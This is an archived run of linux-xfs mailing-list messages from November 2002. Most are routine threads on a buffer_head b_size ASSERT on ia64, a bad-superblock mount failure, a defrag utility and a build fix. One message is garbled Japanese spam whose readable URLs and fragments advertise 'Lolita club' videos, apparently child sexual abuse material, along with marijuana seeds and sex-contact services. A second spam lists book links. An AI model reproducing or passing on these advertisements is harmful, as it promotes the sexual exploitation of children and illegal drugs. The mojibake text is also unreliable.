(8.12.5/8.12.5) with SMTP id gA20IauR017063 for ; Fri, 1 Nov 2002 16:18:36 -0800 Received: from smtp1.fc.hp.com (smtp1b.fc.hp.com [15.15.136.127]) by atlrel8.hp.com (Postfix) with ESMTP id B0BEAA00A18; Fri, 1 Nov 2002 19:19:19 -0500 (EST) Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190]) by smtp1.fc.hp.com (Postfix) with ESMTP id 3FFAA380BC; Fri, 1 Nov 2002 17:19:19 -0700 (MST) Received: from hazel.fc.hp.com (hazel.fc.hp.com [15.1.52.8]) by ldl.fc.hp.com (Postfix) with ESMTP id 310934619; Fri, 1 Nov 2002 17:19:19 -0700 (MST) Received: by hazel.fc.hp.com (Postfix, from userid 20800) id C0EF0CA702; Fri, 1 Nov 2002 17:19:18 -0700 (MST) Date: Fri, 1 Nov 2002 17:19:18 -0700 To: Steve Lord Cc: linux-xfs@oss.sgi.com Subject: Re: buffer_head->b_size & ia64 Message-ID: <20021102001918.GA3453@hazel.fc.hp.com> References: <20021101231258.GA28163@dsl2.external.hp.com> <1036193568.17202.234.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1036193568.17202.234.camel@jen.americas.sgi.com> User-Agent: Mutt/1.4i From: dannf@hp.com (dann) X-archive-position: 1477 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dannf@hp.com Precedence: bulk X-list: linux-xfs ok, didn't realize the b_size change was to support large pages. so, for my purposes (i'm using 8K pages), i should be able to just patch fs.h back to defining b_size as a short & go on? i'll try that - thanks! On Fri, Nov 01, 2002 at 05:32:48PM -0600, Steve Lord wrote: > On Fri, 2002-11-01 at 17:12, Dann Frazier wrote: > > hey, > > I was trying to test latest cvs to see if it resolves another issue, but > > i began getting a panic on mount. The problem is that the latest bjorn > > patch for ia64 (0821) defines buffer_head->b_size as an int instead of a short. > > (see include/linux/fs.h). > > > > The following ASSERT is in page_buf.c: > > > > /* The b_size field of struct buffer_head is an unsigned short > > * ... we may need to split this request up. [64K is too big] > > */ > > ASSERT(sizeof(bh->b_size) == 2); > > while (sector > 0xffff) { > > sector >>= 1; > > blk_length++; > > } > > > > Which causes the kernel to Oops on mount. Which ia64 patch is currently merged > > into the XFS tree? Is there currently a hard dependency on this size > > somewhere? > > > > Hmm, looks like code to deal with 64K and larger pages doesn't it. This > tree has no ia64 patch merged into it at all. The code probably needs to > mutate into something like (and drop the assert): > > while (sector > ((1 << NBBY * sizeof(bh->b_size)) - 1)) { > sector >>= 1; > blk_length++; > } > > I think that should all turn into a compile time constant. > > The dependency on bh_size being 2 is the 0xffff on the following line, > I am not aware of any others. > > Steve > > > -- > > Steve Lord voice: +1-651-683-3511 > Principal Engineer, Filesystem Software email: lord@sgi.com > -- --------------------------- dann frazier Hewlett-Packard Linux Systems Division dannf@hp.com (970) 898-0800 From owner-linux-xfs@oss.sgi.com Fri Nov 1 22:32:29 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 01 Nov 2002 22:32:30 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA26WSuR021856 for ; Fri, 1 Nov 2002 22:32:28 -0800 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id WAA05100 for ; Fri, 1 Nov 2002 22:33:17 -0800 (PST) mail_from (nathans@wobbly.melbourne.sgi.com) Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA09542; Sat, 2 Nov 2002 17:32:00 +1100 Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.9.3/8.9.3) id RAA08866; Sat, 2 Nov 2002 17:31:59 +1100 (EST) Date: Sat, 2 Nov 2002 17:31:59 +1100 From: Nathan Scott To: dann Cc: linux-xfs@oss.sgi.com Subject: Re: buffer_head->b_size & ia64 Message-ID: <20021102173159.B387270@wobbly.melbourne.sgi.com> References: <20021101231258.GA28163@dsl2.external.hp.com> <1036193568.17202.234.camel@jen.americas.sgi.com> <20021102001918.GA3453@hazel.fc.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20021102001918.GA3453@hazel.fc.hp.com>; from dannf@hp.com on Fri, Nov 01, 2002 at 05:19:18PM -0700 X-archive-position: 1478 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs On Fri, Nov 01, 2002 at 05:19:18PM -0700, dann wrote: > ok, didn't realize the b_size change was to support large pages. > so, for my purposes (i'm using 8K pages), i should be able to just In that case (8K), all you need to do is remove the ASSERT that you're tripping in pagebuf and everything else will continue to function as is (you will never get a sector > 0xffff). Or better, use Steve's patch - it is a more flexible solution to the way I did this & will go into the tree soon (if not already). > > > > > > The following ASSERT is in page_buf.c: > > > > > > /* The b_size field of struct buffer_head is an unsigned short > > > * ... we may need to split this request up. [64K is too big] > > > */ > > > ASSERT(sizeof(bh->b_size) == 2); > > > while (sector > 0xffff) { > > > sector >>= 1; > > > blk_length++; > > > } > > > cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Sat Nov 2 05:19:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 02 Nov 2002 05:19:07 -0800 (PST) Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA2DJ1uR029023 for ; Sat, 2 Nov 2002 05:19:02 -0800 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla1.xs4all.nl (8.12.0/8.12.0) with ESMTP id gA2DJEek070949; Sat, 2 Nov 2002 14:19:19 +0100 (CET) Message-Id: <4.3.2.7.2.20021102141723.02d50420@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sat, 02 Nov 2002 14:18:05 +0100 To: ksimach@ksimachine.com, linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: upgrading gcc In-Reply-To: <3DC30564.9020408@ksimachine.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 1479 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 17:51 1-11-2002 -0500, Joe St.Clair wrote: >I am having some proglems building a new kernel with the existing "gcc" >and if this upgrade would work then I should be set. >As this is a compiler I would assume it is not going to crash the >system. If it won't work I should be able to uninstall and reinstall the >old "gcc" and dependencies. I tried rebuilding on a 7.2 box and it failed with gcc-2.96-108 Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Sat Nov 2 13:23:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 02 Nov 2002 13:24:02 -0800 (PST) Received: from ooo.no (fb171157.ot.FreeBit.NE.JP [61.203.171.157]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA2LMVuR002482 for ; Sat, 2 Nov 2002 13:23:54 -0800 Received: from wing-cilnjn2j6v ([192.168.0.2]) by ooo.no (8.9.3+3.2W/3.7W) with SMTP id GAA12868; Sun, 3 Nov 2002 06:23:42 +0900 Message-Id: <200211022123.GAA12868@ooo.no> From: =?iso-2022-jp?B?Y21haWwxMWpw?= To: =?iso-2022-jp?B?cHVyZQ==?=@ooo.no Reply-To: cmail11jp@yahoo.co.jp Date: Sun, 03 Nov 2002 06:21:39 +0900 Subject: =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCIoRUU7UiVhITwlazktOXAbKEo=?= Content-Type: text/plain Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-archive-position: 1480 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cmail11jp@yahoo.co.jp Precedence: bulk X-list: linux-xfs <‘—MŽÒ> “dŽqƒ[ƒ‹LŽÐ ¡ŒãAL‚ð‚²Šó–]‚µ‚È‚¢•û‚Í‚±‚±‚Ö (•K‚¸–{•¶‚É‚ ‚È‚½‚̃[ƒ‹ƒAƒhƒŒƒX‚Ì‚Ý‚ð‚¨‘‚«‰º‚³‚¢j king11@vesta.dti.ne.jp ƒ[ƒ‹ƒAƒhƒŒƒX‚ð‚²‹L“ü‚µ‚Ä‚­‚¾‚³‚¢B §104-0061 “Œ‹ž“s’†‰›‹æ‹âÀ8-19-3 ‘æ2ƒEƒCƒ“ƒOƒrƒ‹@3F ƒ[ƒ‹ƒ}ƒKƒWƒ“”­s TEL@03-3544-6222 FAX@03-3544-6218 =============================================================== –â‘褕i‚΂©‚èW‚ß‚Ü‚µ‚½‚Ì‚ÅAÁ‚³‚ê‚é‹°‚ꂪ‚ ‚è‚Ü‚·‚Ì‚Å ‚¨\ž‚Ý‚Í‚¨‘‚ß‚ÉI =============================================================== ¡@‰ïˆõ§ƒƒŠ[ƒ^ƒNƒ‰ƒu@¡ ‚c‚u‚cEƒrƒfƒI2500‰~‚©‚ç ƒnƒCƒNƒIƒŠƒeƒB‰æŽ¿‚ł̔̔„ƒ}ƒjƒAƒbƒN‚ȉf‘œ‚Ì”X ‚Ü‚¸‚̓Jƒ^ƒƒO¿‹‚¨‘Ò‚¿‚µ‚Ä‚¨‚è‚Ü‚·i‹Ç—¯‚ß‚Å‚Ì¿‹‰Â”\j ‚¨ŽèŒ³‚É‚¨“Í‚­••“›‚É‚ÍA‚¨‹q—l‚Ì‚¨–¼‘O‚Ì‚ÝI“–ŽÐ–¼‚͈êØ“ü‚è‚Ü‚¹‚ñB ƒJƒ^ƒƒO‚ð‚¨Œ©‚ÄA‚¨\‚µž‚Ý‚­‚¾‚³‚¢B –³—¿ƒJƒ^ƒƒO http://www.allround.sib.ru/roriclub/ http://magazine.japanesebabies.com/roriclub/ @@@@@@@@@@@@@@@@@@@@@‰ïˆõ§ƒƒŠ[ƒ^ƒNƒ‰ƒu QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡SEXƒtƒŒƒ“ƒh•åW¡ ^Œ•‚ÉSEXƒtƒŒƒ“ƒh‚ð’T‚µ‚Ä‚¢‚él‚¾‚¯W‡I ‘S‘‚Ç‚±‚Å‚à‹ß‚­‚Ìl‚ðƒvƒƒtƒB[ƒ‹•t‚Å‚·‚®Ð‰îB Žá‚¢l‚©‚çn”N‚Ü‚Å‚¢‚Á‚Ï‚¢‚¢‚é‚æ! ƒ_ƒ“ƒi‚É“à‚ÌH‚ðŠy‚µ‚à‚¤I http://www.allround.sib.ru/sex/ http://magazine.japanesebabies.com/sex/ ƒŒƒ‚ƒ“ƒNƒ‰ƒu QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡‚à‚à‚ª‚Í‚¶‚¯‚Ä‚Ô‚Ç‚¤‚ª‚ä‚ê‚é¡ ‚µ‚¶‚Ý‚Æ‚à‚à‚̃Rƒ‰ƒ{ƒŒ[ƒVƒ‡ƒ“ ƒƒŠ[ƒ^ƒrƒfƒIi‚c‚u‚cjê–å ‚¢‚‚܂ʼnc‹Æ‚Å‚«‚é‚©‚í‚©‚è‚Ü‚¹‚ñ ‚²’•¶‚Í‚¨‘‚ß‚ÉI http://www.allround.sib.ru/roridvd/rori/ http://magazine.japanesebabies.com/roridvd/rori/ ì•i—á ­—“`à@–¼ŒÃ‰®’c’n9@­—‚Ì“¹‘ ‚È‚Ç‚È‚Ç132ì•iBD•]”­”„’†I @(^-^)/~ƒƒŠ˜F—˜ƒ€ƒg[ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡@‚r‚lƒp[ƒgƒi[Љ“ú@¡ ‚r‚lƒp[ƒgƒi[‘¦“úЉîB ‰‡•‚âSMƒNƒ‰ƒu‚Ƃ͈ႢA‚r‚lˆ¤DŽÒ‚¾‚¯‚ªW‚¤‰ïB ‘S‘‚Å‚²Ð‰î‚Å‚«‚Ü‚·B ‚ ‚È‚½‚̃vƒŒƒC‚É‚ ‚킹‚Ä‘¦“úЉîB ƒvƒŒƒC‘ã‹à‚͈êØ‚©‚©‚è‚Ü‚¹‚ñB ”N—î‚Í20ΈÈãB http://www.allround.sib.ru/sm/ http://magazine.japanesebabies.com/sm/ @@@@@@@@@@@@@@@@@@@@@@@@@‚r‚lƒNƒ‰ƒu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@lŒ`Žt‚ªì‚Á‚½Œ†ì•i@¡ •ø‚«‚µ‚ß‚½‚­‚È‚é‚悤‚È‚¨lŒ`‚³‚ñ‚ªì‚ê‚Ü‚µ‚½B ”š”­“I‘åƒqƒbƒg¤•iI ”‚ɧŒÀ‚ª‚ ‚邽‚ßA‚¨\‚µž‚Ý‚Í‚¨‘‚ß‚ÉI ™‹Ç•”‚Ü‚Å–{•¨‚»‚Á‚­‚è‚ɧ삵‚½‚½‚ßA“X“ª”Ì”„‚Å‚«‚Ü‚¹‚ñB http://www.allround.sib.ru/dachi/dollc/ http://magazine.japanesebabies.com/dachi/dollc/ @@@@@@@@@@@@@@@@@@@@@lŒ`Žt‹{ìƒfƒUƒCƒ“ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‹t‰‡•ŒðÛ‚­‚ç‚Ô@¡ ‘f“G‚È’j«‚Æ’©‚Ü‚Å“ñlEEEB ‘f“G‚È’j«‚ð¡‚·‚®‹M—‚ÌŒ³‚ÖŒü‚©‚킹‚Ü‚·B ‘S‘ƒlƒbƒgƒ[ƒN‚Å‚·‚®‚ÉЉî‚n‚jB Žá‚¢—«‚à‰“—¶‚µ‚È‚¢‚Å—V‚Ñ‚Ü‚­‚낤I ‚P‰ñŒÀ‚èA’·ŠúA‰½‚Å‚à‚ ‚èB ô—«‚É—D‚µ‚­‚Å‚«‚é’j«ƒXƒ^ƒbƒt‚à“¯Žž•åW’†ô http://www.allround.sib.ru/enjyo/ http://magazine.japanesebabies.com/enjyo/ @@@@@@@@@@@@@@@@@@@@@@@@@‹t‰‡•‰ï \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@ƒ}ƒŠƒtƒ@ƒi‚ÌŽí@¡ ƒ}ƒŠƒtƒ@ƒi‚ª‚½‚Ü‚ç‚È‚­D‚«‚ÈlA‚Ç‚¤‚¼A‚±‚±‚ÖB ‚ ‚Ô‚È‚¢‚­‚·‚è‚Ìî•ñ‚àŽè‚É“ü‚é‚æI uâ‘΂Ɉ«—p‚µ‚È‚¢‚Å‚­‚¾‚³‚¢Bv http://www.allround.sib.ru/mari/ http://magazine.japanesebabies.com/mari/ @@@@@@@@@@@@@@@@@@@@@@@@@X@³’j \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@V‘•ŠJ“XIŒƒˆÀƒZ[ƒ‹@¡ AV.DVDŒƒˆÀƒZ[ƒ‹ ‘¼“X‚Å‚ÍŽè‚É“ü‚ç‚È‚¢‚à‚̂΂©‚µ¥¥¥¥¥¥ ˆÈ‘O‚̂悤‚ÉA‚æ‚낵‚­‚¨Šè‚¢‚µ‚Ü‚·B ‘¼“X‚É•‰‚¯‚¸ŒƒˆÀ—¿‹àI http://www.allround.sib.ru/pink/ http://magazine.japanesebabies.com/pink/ @@@ @@@@@@@@@@@@@@@@@@@@@@@@@”ü­—ƒNƒ‰ƒu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ From owner-linux-xfs@oss.sgi.com Sat Nov 2 13:51:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 02 Nov 2002 13:51:56 -0800 (PST) Received: from picard.skynet.be (picard.skynet.be [195.238.3.88]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA2LpquR003037 for ; Sat, 2 Nov 2002 13:51:53 -0800 Received: from multimail.skynet.be (actarus.skynet.be [195.238.3.209]) by picard.skynet.be (8.11.6/8.11.6/Skynet-OUT-2.20) with SMTP id gA2Lqge29731 for linux-xfs@oss.sgi.com; Sat, 2 Nov 2002 22:52:42 +0100 (MET) (envelope-from ) Message-Id: <200211022152.gA2Lqge29731@picard.skynet.be> X-Webmail-posting-IP: 80.200.146.177 From: olivier.tarnus@skynet.be Subject: Can't mount XFS : Bad Superblock To: linux-xfs@oss.sgi.com Date: Sat, 02 Nov 2002 22:52:42 +0100 MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit Content-length: 2896 X-archive-position: 1481 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: olivier.tarnus@skynet.be Precedence: bulk X-list: linux-xfs Hi, I'm having troubles mounting an xfs filesystem because of bad superblocks. It seems that i'm not alone : http://marc.theaimsgroup.com/?l=linux-xfs&m=103356627519048&w=2 http://marc.theaimsgroup.com/?l=linux-xfs&m=103433574516723&w=2 My disk seems clean, and my others filesystems are ok. This occurs just after a clean reboot. I've tried xfs_repair, but : gentoodarkstar root # xfs_repair -nLv /dev/hdc6 Phase 1 - find and verify superblock... error reading superblock 20 -- seek to offset 21474836480 failed couldn't verify primary superblock - bad magic number !!! attempting to find secondary superblock... .......................................................... .......................................................... .......................................................... .......................................................... .......................................................... ...found candidate secondary superblock... error reading superblock 20 -- seek to offset 21474836480 failed unable to verify superblock, continuing... .......................................................... .......................................................... and so on... I'm sure that this is an xfs filesystem : gentoodarkstar root # dd if=/dev/hdc6 bs=512 count=1 |hexdump 1+0 records in 1+0 records out 0000000 4658 4253 0000 0010 0000 0000 5100 20df 0000010 0000 0000 0000 0000 0000 0000 0000 0000 0000020 0f8c 0121 9a1d 4b4b 49ae 48f7 5de9 3bd8 0000030 0000 0000 2800 0400 0000 0000 0000 8000 0000040 0000 0000 0000 8100 0000 0000 0000 8200 0000050 0000 1000 0400 0000 0000 1500 0000 0000 0000060 0000 b004 8420 0002 0001 1000 0000 0000 0000070 0000 0000 0000 0000 090c 0408 0012 1900 0000080 0000 0000 0000 4002 0000 0000 0000 e701 0000090 0000 0000 4200 f24c 0000 0000 0000 0000 00000a0 0000 0000 0000 0000 0000 0000 0000 0000 00000b0 0000 0000 0000 0200 0000 0000 0000 0000 00000c0 0000 0000 0000 0000 0000 0000 0000 0000 * 0000200 I'm running : SGI XFS snapshot 2.4.19-2002-08-03_04:15_UTC with ACLs, quota, no debug enabled The filesystem has been created with no special options and was mounted in /mnt/util. Here are some infos about my partitions : 22 0 80418240 hdc 22 1 1024096 hdc1 22 2 256032 hdc2 22 3 10240272 hdc3 22 4 1 hdc4 22 5 10240240 hdc5 22 6 20480008 hdc6 22 7 20480008 hdc7 22 8 17697424 hdc8 Do i have chance to get my filesystem back??? I'm surprised because this bug appeared after a normal reboot, so i suppose the fs has been unmounted cleanly. This is not really critical, because this is my home PC, but i'm using XFS at work on two files servers with 500G, so i would sleep better if i know this is an \"exceptional bug\" :-) Thanks for reading. Olivier Tarnus PS: Please cc me, i'm not in the mailing list [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Sat Nov 2 14:56:58 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 02 Nov 2002 14:57:01 -0800 (PST) Received: from atomic.ilos.net (h139-142-211-3.gtconnect.net [139.142.211.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA2MuwuR004260 for ; Sat, 2 Nov 2002 14:56:58 -0800 Received: (qmail 27244 invoked from network); 2 Nov 2002 22:41:45 -0000 Received: from h139-142-211-1.gtconnect.net (HELO abit) (139.142.211.1) by h139-142-211-3.gtconnect.net with SMTP; 2 Nov 2002 22:41:45 -0000 Message-ID: <005a01c04521$7957ac00$14c5fea9@abit> From: "mgiesbre" To: Subject: Defrag Utility Date: Thu, 2 Nov 2000 17:06:02 -0600 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2720.3000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit Content-length: 178 X-archive-position: 1482 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mgiesbre@ilos.net Precedence: bulk X-list: linux-xfs Hello: I was wondering if there was any work being done on an XFS defrag utility, like the command that is available in IRIX. Any info? mg [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Sat Nov 2 15:02:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 02 Nov 2002 15:02:54 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA2N2quR004804 for ; Sat, 2 Nov 2002 15:02:52 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id 8AC281D944C; Sat, 2 Nov 2002 15:03:44 -0800 (PST) Date: Sat, 2 Nov 2002 15:03:44 -0800 From: Chris Wedgwood To: mgiesbre Cc: linux-xfs@oss.sgi.com Subject: Re: Defrag Utility Message-ID: <20021102230344.GA7854@tapu.f00f.org> References: <005a01c04521$7957ac00$14c5fea9@abit> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <005a01c04521$7957ac00$14c5fea9@abit> User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1483 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Thu, Nov 02, 2000 at 05:06:02PM -0600, mgiesbre wrote: > I was wondering if there was any work being done on an XFS defrag > utility, like the command that is available in IRIX. Any info? man xfs_fsr --cw From owner-linux-xfs@oss.sgi.com Sat Nov 2 22:11:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 02 Nov 2002 22:11:54 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA36BnuR014441 for ; Sat, 2 Nov 2002 22:11:49 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id WAA02661 for ; Sat, 2 Nov 2002 22:12:42 -0800 (PST) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id RAA17517 for linux-xfs@oss.sgi.com; Sun, 3 Nov 2002 17:11:25 +1100 (EST) Date: Sun, 3 Nov 2002 17:11:25 +1100 (EST) From: Nathan Scott Message-Id: <200211030611.RAA17517@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - xfsdump build issue X-archive-position: 1484 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Add missing build dependencies for config.h. Date: Sat Nov 2 22:10:43 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:131895a cmd/xfsdump/Makefile - 1.11 cmd/xfsdump/include/Makefile - 1.9 - Treat config.h like builddefs - it is also configure generated, and if it doesn't exist we need to run configure to create it (ie. like builddefs). From owner-linux-xfs@oss.sgi.com Sun Nov 3 04:32:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 03 Nov 2002 04:32:22 -0800 (PST) Received: from engels (p5091527C.dip.t-dialin.net [80.145.82.124]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA3CWFuR024832 for ; Sun, 3 Nov 2002 04:32:16 -0800 Message-Id: <200211031232.gA3CWFuR024832@oss.sgi.com> From: =?iso-8859-1?q?Max_Mueller_/_Lincoln_Modeller=B4s_Club_?= Reply-To: muellermax@bz.tc Subject: Aviation book links you asked for Date: Sun, 03 Nov 2002 13:35:03 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="7053b912-ef22-11d6-baa6-00308441cba8" X-archive-position: 1485 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: muellermax@bz.tc?= Precedence: bulk X-list: linux-xfs This is a multi-part message in MIME format --7053b912-ef22-11d6-baa6-00308441cba8 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Hi, Here are the links of aviation books you requested last week. http://www.amazon.com/exec/obidos/ASIN/0789489104/qid=3D1036312620/sr=3D2-1= /ref=3Dsr_2_1/104-1769141-2811146 http://www.collectors-edition.de/QAU/Buchuebersicht.htm http://www.ospreypublishing.com/list_by_period.php/per=3D36 http://www.amazon.com/exec/obidos/tg/detail/-/1560982381/qid=3D1036312620/s= r=3D1-8/ref=3Dsr_1_8/104-1769141-2811146?v=3Dglance http://www.amazon.com/exec/obidos/ASIN/1841762237/qid=3D1036312839/sr=3D2-2= /ref=3Dsr_2_2/104-1769141-2811146 http://www.ospreypublishing.com/list_by_period.php/per=3D36 http://www.amazon.com/exec/obidos/tg/detail/-/1841763756/ref=3Dpd_bxgy_img_= 2/104-1769141-2811146?v=3Dglance http://www.ospreypublishing.com/list_by_period.php/per=3D36 http://www.hikokiwarplanes.com/our_list.htm http://www.motorbooks.com/cgi-bin/WebObjects/mbi.woa/46/wo/fC12PhmUHdwu2Zmv= uow1zxwBbza/5.4.3.3.0 Hope you find something that is good as christmast gift for yourself ;-). See you next week! Max=20=20 --7053b912-ef22-11d6-baa6-00308441cba8-- From owner-linux-xfs@oss.sgi.com Sun Nov 3 06:45:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 03 Nov 2002 06:45:59 -0800 (PST) Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA3EjsuR027499 for ; Sun, 3 Nov 2002 06:45:55 -0800 Received: from fwd02.sul.t-online.de by mailout03.sul.t-online.com with smtp id 18874T-0007P3-05; Sat, 02 Nov 2002 23:48:49 +0100 Received: from CBINDER (310078580701-0001@[217.0.89.166]) by fwd02.sul.t-online.com with esmtp id 18874O-25rCxUC; Sat, 2 Nov 2002 23:48:44 +0100 From: christian_binder@t-online.de To: linux-xfs@oss.sgi.com Subject: Message after shutdown X-Mailer: Lotus Notes Version 5.0.2c (Intl) 08 Februar 2000 Message-ID: Date: Sat, 2 Nov 2002 23:48:25 +0100 X-MIMETrack: Serialize by Im Leerlauf on christian(Version 5.0.2c (Intl)|08 Februar 2000) at 02.11.2002 23:48:46, Serialize complete at 02.11.2002 23:48:46 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: 310078580701-0001@t-dialin.net X-archive-position: 1486 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: christian_binder@t-online.de Precedence: bulk X-list: linux-xfs Hello, after doing a normal shutdown, one of my servers (with the newest xfs-tools - Version 2.0.3) give me yesterday the following message at the end: -----snip message ------ Unmounting local filesystems ... XFS umount got error 990 linvfs_put_super: vfsp/0x3f89ae0 left dangling! VFS: Busy inodes after unmount. Self-destruct in 5 seconds. Have a nice day ... done. ----end of messages ----- ... Can i have a nice day when I see this messages, or is there something wrong ? I use the debian woody distribution with a 2.4.19-kernel patched with the xfs-patch for kernel 2.4.19. I have two volume groups with the xfs-filesystem, all other partitions are normal linux - partitions with xfs. Another problem: Sometimes, there is a messages like this flushing ide devices ... What does this mean ? Is there a danger for my files ? I would like to migrate more of my servers to the xfs - filesystem in near future, but i feel unsure with this messages. Can anyone help ? Thanks for your answers ! Christian Binder From owner-linux-xfs@oss.sgi.com Sun Nov 3 08:23:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 03 Nov 2002 08:23:08 -0800 (PST) Received: from batleth.sapienti-sat.org (batleth.sapienti-sat.org [217.111.19.42]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA3GMpuR028610 for ; Sun, 3 Nov 2002 08:22:51 -0800 Received: from localhost (localhost.sapienti-sat.org [127.0.0.1]) by batleth.sapienti-sat.org (Postfix) with SMTP id 0FDB010952F for ; Sun, 3 Nov 2002 16:48:42 +0100 (CET) Received: from warp9.sapienti-sat.org (pD9E0EDDF.dip.t-dialin.net [217.224.237.223]) by batleth.sapienti-sat.org (Postfix) with ESMTP id CB3A010951A for ; Sun, 3 Nov 2002 16:48:41 +0100 (CET) Received: from localhost (localhost.sapienti-sat.org [127.0.0.1]) by warp9.sapienti-sat.org (Postfix) with SMTP id DAA92D1C 